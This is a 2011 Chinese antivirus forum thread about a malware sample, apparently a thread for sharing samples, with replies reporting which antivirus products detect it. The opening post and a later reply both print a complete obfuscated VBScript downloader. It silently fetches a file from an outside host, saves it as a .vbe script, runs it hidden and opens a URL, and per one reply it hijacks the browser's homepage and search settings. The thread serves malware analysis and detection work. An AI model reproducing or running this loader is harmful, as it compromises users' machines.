[HQ]vbs——恶意脚本 [my last vir]

显示全部楼层 · 发表于 2011-7-11 20:33:10

本帖最后由 zuo 于 2011-7-11 20:33 编辑

wsCript.Sleep 500000
Set xPost = CreateObjEcT("Microsoft.XMLHTTP")
xPost.Open"G"+""+""+""+""+""+"e"+"T","ht"+""+""+"tp://search.yxbao.com/img/index_bn/qqncall.rar",0
xPost.Send()
Set sGet = CrEaTeObjEcT("adODB."&chr(115)&"TrEA"+"M")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.wRite(xPost.rEsPoNseBody)
sGet.SAveToFIle "c:\PROGRA~1\1.Vb"+"e",2
set ws=wSCriPt.cReatEObject(""&chr(119)&""&chr(115)&""+"Cript."&chr(115)&"h"+"E"+""+""+"l"+""+""+""+"l")
ws.run "C:\PROGRA~1\1.v"+""+"be /s"+""+"t"+""+"art"+"",0
ws.run "iexplore http://search.yxbao.com/img/index_bn/zxsk.html?qqx5",0

显示全部楼层 · 发表于 2011-7-11 21:18:35

zuo 发表于 2011-7-11 20:33

— —

说贴出脚本源码有何企图

显示全部楼层 · 发表于 2011-7-11 21:51:12

360未知

显示全部楼层 · 发表于 2011-7-12 00:16:38

显示全部楼层 · 发表于 2011-7-12 23:16:36

MSE Killed

显示全部楼层 · 发表于 2011-7-13 08:47:59

样本要密码啊

显示全部楼层 · 发表于 2011-7-13 10:20:06

雷帝彬发表于 2011-7-13 08:47
样本要密码啊

— —password即密码······

显示全部楼层 · 发表于 2011-7-13 10:21:14

过大蜘蛛，已上报！

显示全部楼层 · 发表于 2011-7-13 12:52:37

主要是更改主页和搜索页，写入注册表的流氓脚本！~

wsCript.Sleep 500000
Set xPost = CreateObjEcT("Microsoft.XMLHTTP")
xPost.Open"G"+""+""+""+""+""+"e"+"T","ht"+""+""+"tp://search.yxbao.com/img/index_bn/qqncall.rar",0
xPost.Send()
Set sGet = CrEaTeObjEcT("adODB."&chr(115)&"TrEA"+"M")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.wRite(xPost.rEsPoNseBody)
sGet.SAveToFIle "c:\PROGRA~1\1.Vb"+"e",2
set ws=wSCriPt.cReatEObject(""&chr(119)&""&chr(115)&""+"Cript."&chr(115)&"h"+"E"+""+""+"l"+""+""+""+"l")
ws.run "C:\PROGRA~1\1.v"+""+"be /s"+""+"t"+""+"art"+"",0
ws.run "iexplore http://search.yxbao.com/img/index_bn/zxsk.html?qqx5",0

显示全部楼层 · 发表于 2011-7-13 12:54:04

sanhu35 发表于 2011-7-11 16:30
金山不报

vbs金山向来不报。

[病毒样本] [HQ]vbs——恶意脚本 [my last vir]

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源